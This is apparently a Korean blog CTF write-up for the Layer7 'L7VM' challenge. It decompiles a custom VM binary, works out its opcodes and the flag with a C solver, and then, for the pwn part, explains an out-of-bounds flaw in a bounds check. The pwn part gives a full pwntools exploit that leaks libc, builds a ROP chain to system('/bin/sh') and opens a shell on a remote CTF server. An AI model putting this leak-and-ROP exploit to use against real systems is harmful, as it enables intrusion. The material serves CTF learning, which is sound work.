undefined8 main(EVP_PKEY_CTX *argc,long param_2)
{
long lVar1;
int iVar2;
ssize_t sVar3;
long in_FS_OFFSET;
int local_a4;
uint local_a0;
int local_9c;
int local_98;
int local_94;
char *code;
char local_88 [120];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
init(argc);
puts(PTR_s_.##.......####...##..##..######._00107010);
code = (char *)calloc(1,0x700);
local_a0 = 0;
while (local_a0 < 0x10) {
FUN_00101369(local_88 + (long)(int)local_a0 * 7);
local_a0 = local_a0 + 1;
}
read_Data = local_88;
local_a4 = 0;
printf("# Input mode : ");
__isoc99_scanf(&DAT_00105253,&local_a4);
iVar2 = local_a4;
if (local_a4 == 2) {
puts("# Argv mode");
local_9c = open(*(char **)(param_2 + 8),2);
if (local_9c < 0) {
puts("# fd return value error");
puts("# Switch to Non-Argv mode ...");
sleep(1);
printf("# Input your VM code : ");
sVar3 = read(0,code,0x700);
local_94 = (int)sVar3;
if (local_94 < 0) {
puts("# return value error");
/* WARNING: Subroutine does not return */
exit(1);
}
}
else {
sVar3 = read(local_9c,code,0x700);
local_98 = (int)sVar3;
if (local_98 < 0) {
puts("# return value error");
/* WARNING: Subroutine does not return */
exit(1);
}
close(local_9c);
}
FUN_00103e9b();
vm(code);
}
if (iVar2 == 1) {
puts("# Non-Argv mode");
printf("# Input your VM code : ");
FUN_00103f6b(code,0x700);
FUN_00103e9b();
vm(code);
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
void vm(char *param_1)
{
long lVar1;
ushort uVar2;
void *in_RSI;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
do {
if (0x6fe < CODE_I) {
puts("# VM stop");
/* WARNING: Subroutine does not return */
exit(1);
}
uVar2 = CODE_I + 1;
switch(param_1[CODE_I]) {
case '\x11':
CODE_I = uVar2;
move(param_1);
break;
case '\x12':
CODE_I = uVar2;
FUN_00101490(param_1);
break;
case '\x13':
CODE_I = uVar2;
FUN_0010173e(param_1);
break;
case '\x14':
CODE_I = uVar2;
add(param_1);
break;
case '\x15':
CODE_I = uVar2;
sub(param_1);
break;
case '\x16':
CODE_I = uVar2;
xor(param_1);
break;
case '\x17':
CODE_I = uVar2;
or(param_1);
break;
case '\x18':
CODE_I = uVar2;
and(param_1);
break;
case '\x19':
CODE_I = uVar2;
cmp(param_1,in_RSI);
break;
case '\x1a':
CODE_I = uVar2;
FUN_0010312a(param_1);
break;
case '\x1b':
CODE_I = uVar2;
FUN_001033f6(param_1);
break;
case '\x1c':
CODE_I = uVar2;
JE(param_1);
break;
case '\x1d':
CODE_I = uVar2;
FUN_00103778(param_1);
break;
case '\x1e':
CODE_I = uVar2;
FUN_0010386e(param_1);
break;
case '\x1f':
CODE_I = uVar2;
FUN_0010298b(param_1);
break;
case ' ':
CODE_I = uVar2;
FUN_00102bfa(param_1);
break;
case '!':
CODE_I = uVar2;
RW(param_1);
break;
case '\"':
CODE_I = uVar2;
nop(param_1);
break;
case '#':
CODE_I = uVar2;
end(param_1);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
default:
CODE_I = uVar2;
puts("# Unknown opcode");
/* WARNING: Subroutine does not return */
exit(1);
}
} while( true );
}
이 바이너리는 힙과 스택 두군데에 데이터를 저장한다.
main 함수에 local_88 이 있고 이를 가르키는 전역 포인터 변수가 존재한다.
이 변수 이름을 read_Data 로 변경하였다.
또한 FUN_00103e9b 에서는 vm 관련 변수들을 초기화한다.
void FUN_00103e9b(void)
{
write_Data = (char *)malloc(0x31);
PTR_00107050._0_1_ = 0;
CODE_I = 0;
return;
}
49개의, 즉 7 * 7 크기를 가르키는 전역 포인터 변수가 있다.
이를 write_Data로 바꾼다.
또한 나중에 분석하면, PTR_00107050 은 CMP 함수에서 참/거짓 을 저장하는 Flag 변수이다.
CODE_I 는 추후 OPCODE를 가르키는 포인터의 인덱스로 쓰인다.
L7VM rev 문제에서 주어진 OPCODE 이다.
아직까지는 하나도 모르겠지만 분석하는데 길잡이가 된다.
우선 첫 OPCODE 가 0x11 이므로 0x11 담당 함수를 봐보자.
void move(char *code)
{
byte bVar1;
byte index;
char *local_RAX_335;
char *local_RAX_492;
char *local_RAX_665;
char *dest;
ushort src_index;
ushort des_index;
long in_FS_OFFSET;
int i;
char local_17 [7];
long local_10;
undefined4 *src;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
FUN_00101369(local_17);
src_index = CODE_I + 1;
index = code[CODE_I];
if (index == 0x7d) {
des_index = CODE_I + 2;
CODE_I = CODE_I + 3;
if ((0xf < (byte)code[src_index]) && (6 < (byte)code[des_index])) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
src = (undefined4 *)(read_Data + (ulong)(byte)code[src_index] * 7);
dest = write_Data + (ulong)(byte)code[des_index] * 7;
*(undefined4 *)dest = *src;
*(undefined2 *)(dest + 4) = *(undefined2 *)(src + 1);
dest[6] = *(char *)((long)src + 6);
goto code_r0x00101bbe;
}
if (index < 0x7e) {
if (index == 0x7c) {
des_index = CODE_I + 2;
CODE_I = CODE_I + 3;
if ((0xf < (byte)code[des_index]) && (6 < (byte)code[src_index])) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
src = (undefined4 *)(write_Data + (ulong)(byte)code[src_index] * 7);
local_RAX_665 = (char *)((ulong)(byte)code[des_index] * 7 + read_Data);
*(undefined4 *)local_RAX_665 = *src;
*(undefined2 *)(local_RAX_665 + 4) = *(undefined2 *)(src + 1);
local_RAX_665[6] = *(char *)((long)src + 6);
goto code_r0x00101bbe;
}
if (index < 0x7d) {
if (index == 0x7a) {
CODE_I = CODE_I + 2;
index = FUN_001013d6((ulong)(byte)code[src_index]);
i = 0;
while (i < (int)(uint)index) {
local_17[i] = code[CODE_I];
i = i + 1;
CODE_I = CODE_I + 1;
}
index = code[CODE_I];
CODE_I = CODE_I + 1;
OOB(0,(ulong)index);
local_RAX_335 = write_Data + (ulong)index * 7;
*(undefined4 *)local_RAX_335 = local_17._0_4_;
*(undefined2 *)(local_RAX_335 + 4) = local_17._4_2_;
local_RAX_335[6] = local_17[6];
goto code_r0x00101bbe;
}
if (index == 0x7b) {
des_index = CODE_I + 2;
index = code[src_index];
CODE_I = CODE_I + 3;
bVar1 = code[des_index];
OOB((ulong)index,(ulong)bVar1,(ulong)bVar1);
src = (undefined4 *)(write_Data + (ulong)index * 7);
local_RAX_492 = write_Data + (ulong)bVar1 * 7;
*(undefined4 *)local_RAX_492 = *src;
*(undefined2 *)(local_RAX_492 + 4) = *(undefined2 *)(src + 1);
local_RAX_492[6] = *(char *)((long)src + 6);
goto code_r0x00101bbe;
}
}
}
CODE_I = src_index;
puts("# Wrong argv");
code_r0x00101bbe:
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
어느정도 변수 이름을 적절하게 바꿨는데, 근데도 보기 힘들다.
분석해보면, 0x11 다음 바이트에 따라 4가지 동작을 수행한다는 것을 알 수 있다.
또한, OPCODE 를 보면 뒤에 INPUT 문자열이 오는 것을 보고 특정 문자열을 저장한다는 것을 유추할 수 있다.
0x7A 분기를 확인해보면 뒤에 한 바이트는 문자열 길이를 지정하는 값,
그 뒤로 문자열, 마지막에 저장할 인덱스가 있다.
즉 0x11 0x7A LENGTH STRING INDEX 명령은 write_Data[INDEX] = STRING 으로 표현할 수 있다.
나머지 분기들도 확인하면 아래와 같이 정리할 수 있다.
0x7B src_index des_index : w[des_index] = w[src_index]
0x7C src_index des_index : r[des_index] = w[src_index]
0x7D src_index des_index : w[des_index] = r[src_index]
그 다음 함수 RW를 분석해보자.
void RW(char *param_1)
{
char arg0;
char cVar1;
byte arg1;
byte index;
long lVar2;
int iVar3;
ssize_t sVar4;
int *piVar5;
char *pcVar6;
ushort uVar7;
long in_FS_OFFSET;
uint i2;
uint i;
short local_27;
lVar2 = *(long *)(in_FS_OFFSET + 0x28);
FUN_00101369();
arg0 = param_1[CODE_I];
uVar7 = CODE_I + 2;
if (param_1[(ushort)(CODE_I + 1)] == 'z') {
arg1 = param_1[uVar7];
cVar1 = param_1[(ushort)(CODE_I + 3)];
i2 = 0;
CODE_I = CODE_I + 4;
while (i2 < 2) {
*(char *)((long)&local_27 + (long)(int)i2) = param_1[CODE_I];
i2 = i2 + 1;
CODE_I = CODE_I + 1;
}
if ('\x0f' < cVar1) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
if ((long)cVar1 * -7 + 0x70U < (ulong)(long)local_27) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
if (arg0 != '\0') {
puts("# Wrong argv");
/* WARNING: Subroutine does not return */
exit(1);
}
sVar4 = read((uint)arg1,(void *)(read_Data + (long)cVar1 * 7),(ulong)(ushort)local_27);
if ((int)sVar4 < 0) {
piVar5 = __errno_location();
pcVar6 = strerror(*piVar5);
printf("# Error : %s\n",pcVar6);
/* WARNING: Subroutine does not return */
exit(1);
}
}
else {
if (param_1[(ushort)(CODE_I + 1)] != '{') {
CODE_I = uVar7;
puts("# Wrong argv");
/* WARNING: Subroutine does not return */
exit(1);
}
arg1 = param_1[uVar7];
index = param_1[(ushort)(CODE_I + 3)];
i = 0;
CODE_I = CODE_I + 4;
while (i < 2) {
*(char *)((long)&local_27 + (long)(int)i) = param_1[CODE_I];
i = i + 1;
CODE_I = CODE_I + 1;
}
if (6 < index) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar3 = FUN_001013d6();
if (iVar3 < (int)(uint)(ushort)local_27) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
if (arg0 != '\x01') {
puts("# Wrong argv");
/* WARNING: Subroutine does not return */
exit(1);
}
write((uint)arg1,write_Data + (ulong)index * 7,(ulong)(ushort)local_27);
}
if (lVar2 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
0x00 0x7A fd INDEX LENGTH : read(fd,r[INDEX],LENGTH)
0x01 0x7B fd INDEX LENGTH : write(fd,w[INDEX],LENGTH)
read_Data 에 입력을 받거나 write_Data의 값을 출력하는 기능을 한다.
이 외의 함수는 간단하게 AND, XOR, ADD, SUB ... 기능들을 하기 때문에 넘어간다.
0x14 0x7B src_index des_index : w[des_index] += w[src_index]
0x15 0x7B src_index des_index : w[des_index] -= w[src_index]
0x16 0x7A DATA INDEX : w[INDEX] ^= DATA
0x19 0x7A LENGTH DATA INDEX : w[INDEX] == DATA → FLAG = 1
0x1C OFFSET : FLAG가 1이면 OFFSET 만큼 점프
위의 함수들을 토대로 OPCODE를 분석해보면 아래와 같은 흐름이 된다.
w[2] = "INPUT:"
write(w[2],6)
read(r[0],0x15)
w[6] = r[0]
w[6] = xor(w[6],tmp) 14 56 23 76 89 72 45
w[0] = r[1]
w[0] = xor(w[0],tmp2) 78 94 20 5A 7D 99 06
w[3] = r[2]
w[3] = xor(w[3],tmp3) 64 79 2A 1F 71 65 50
w[6] = w[6] - w[3]
w[0] = w[0] + w[6]
w[3] = w[3] - w[0]
r[4] = w[6]
r[5] = w[0]
r[6] = w[3]
w[4] = r[4]
w[5] = r[5]
w[6] = r[6]
w[2] = NO!
Layer7{FLAG} 라 했을때
21글자의 FLAG를 입력받고 7글자씩 3개로 끊어 연산처리를 한 후 각각의 값을 확인한다.
세개의 미지수가 있고 세개의 식이 있으니 각 식들을 연립해서 3개의 평문을 구할 수 있다.
#include <stdio.h>
int main()
{
unsigned char t1[] = {0x14, 0x56, 0x23, 0x76, 0x89, 0x72, 0x45};
unsigned char t2[] = {0x78, 0x94, 0x20, 0x5a, 0x7d, 0x99, 0x06};
unsigned char t3[] = {0x64, 0x79, 0x2a, 0x1f, 0x71, 0x65, 0x50};
unsigned char w4[] = {0x51, 0x11, 0x50, 0xb2, 0x90, 0x32, 0x9d};
unsigned char w5[] = {0x78, 0xf4, 0x60, 0xda, 0xa1, 0x0f, 0xf6};
unsigned char w6[] = {0x9b, 0x1c, 0xbd, 0x9d, 0x8d, 0xf9, 0x6d};
unsigned char r1[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char r2[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char r3[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
int i=0;
for(i=0;i<7;i++)
{
r2[i] = w5[i] - w4[i];
r3[i] = r2[i] + w4[i] + w6[i];
r1[i] = w4[i] + w6[i] + r2[i] + w4[i];
}
printf("LAYER7{");
for(i=0;i<7;i++)
{
printf("%c",r1[i]^t1[i]);
}
for(i=0;i<7;i++)
{
printf("%c",r2[i]^t2[i]);
}
for(i=0;i<7;i++)
{
printf("%c",r3[i]^t3[i]);
}
putchar('}');
}
이로서 리버싱 문제는 클리어했다.
이제 이 VM의 PWN 문제를 풀어보자.
취약점은 보통 데이터를 쓰거나 읽는 데에서 일어나기에 RW 함수와 MOVE 함수를 살펴보자
처음에는 RW 함수에서 Integer Overflow 가 일어나 OOB 하는 줄 알았지만,
MOV 함수에 당당하게 OOB 체크를 && 연산으로 하고 있었다.
그래서 src_index 나 des_index 둘 중 하나만 OOB 할 수 있다.
if ((0xf < (byte)code[des_index]) && (6 < (byte)code[src_index])) {
puts("# OOB detected");
/* WARNING: Subroutine does not return */
exit(1);
}
Exploit 흐름을 생각해보면 다음과 같다.
write_Data[0] = read_Data[OOB_INDEX](libc_main_ret)
write(write_Data[0])
get libc base
get &/bin/sh
get &system
read(read_Data) - Send RTL
write_Data[1] = read_Data[1]..
read_Data[OOB] = write_Data[1..2..3..]
그런데 이 VM은 한 인덱스당 7 바이트이기에 나눠서 읽고 써야 한다.
from pwn import *
context.log_level = 'debug'
p = remote('211.239.124.243', 18607)
#p = process('./L7VM')
e = ELF('./L7VM')
#libc = e.libc
libc = ELF('./libc-2.31.so')
opcode = ''
def RW(mode,index,length):
global opcode
sig = ['z','{']
opcode += '\x21'+p8(mode)+sig[mode]+p8(mode)+p8(index)+p16(length)
def r2w(wi,ri):
global opcode
opcode += '\x11\x7d'+p8(ri)+p8(wi)
def w2r(wi,ri):
global opcode
opcode += '\x11\x7c'+p8(wi)+p8(ri)
r2w(0,19)
r2w(1,20)
RW(1,0,7)
RW(1,1,4)
#------leak-----
RW(0,2,7)
RW(0,3,7)
RW(0,4,7)
RW(0,5,7)
RW(0,6,7)
#------read gadget------
r2w(2,2)
r2w(3,3)
r2w(4,4)
r2w(5,5)
r2w(6,6)
w2r(2,19)
w2r(3,20)
w2r(4,21)
w2r(5,22)
w2r(6,23)
#------write gadget-----
opcode += '#'
p.sendlineafter('mode : ','1')
p.sendlineafter('code : ',str(opcode))
sleep(1.5)
leak = u64(p.recv(14)[3:11])
base = leak - 0x0270b3
#base = leak - 0x21b97
system = base + libc.symbols['system']
binsh = base + list(libc.search('/bin/sh'))[0]
popr = base + 0x0000000000026b72
log.info('[leak] : %x [base] : %x'%(leak,base))
payload = 'a'*3 + p64(base+0x26ba0) + p64(popr) + p64(binsh) + p64(system) + p64(system)
p.send(payload)
p.interactive()
Incognito 2020 에서 김준태님 VM을 풀어봤었는데, 이번이 두번째였다.
확실히 분석하는 데에 시간이 오래걸리는데, 분석하고 나면 가장 성취감이 높은 것 같다.
이번 문제를 풀면서 느낀 점은 아직 VM 분석하는 속도가 느리고, 리버싱 역연산할때 Python으로 하지 말고
C unsigned char 로 해야 제대로 값이 구해진다는 것을 기억해야한다고 느꼈다.
'CTF Writeup' 카테고리의 다른 글
DarkCON CTF - PWN Writeup (2) | 2021.02.21 |
---|---|
2020 Layer7 CTF Writeup - MISC (0) | 2020.11.19 |
2020 Layer7 CTF - Mask Store Writeup (0) | 2020.11.19 |
사이버 작전경연대회 2020 예선 Classified Document Writeup (0) | 2020.09.13 |
2019 ROOT CTF Wripteup (0) | 2020.09.07 |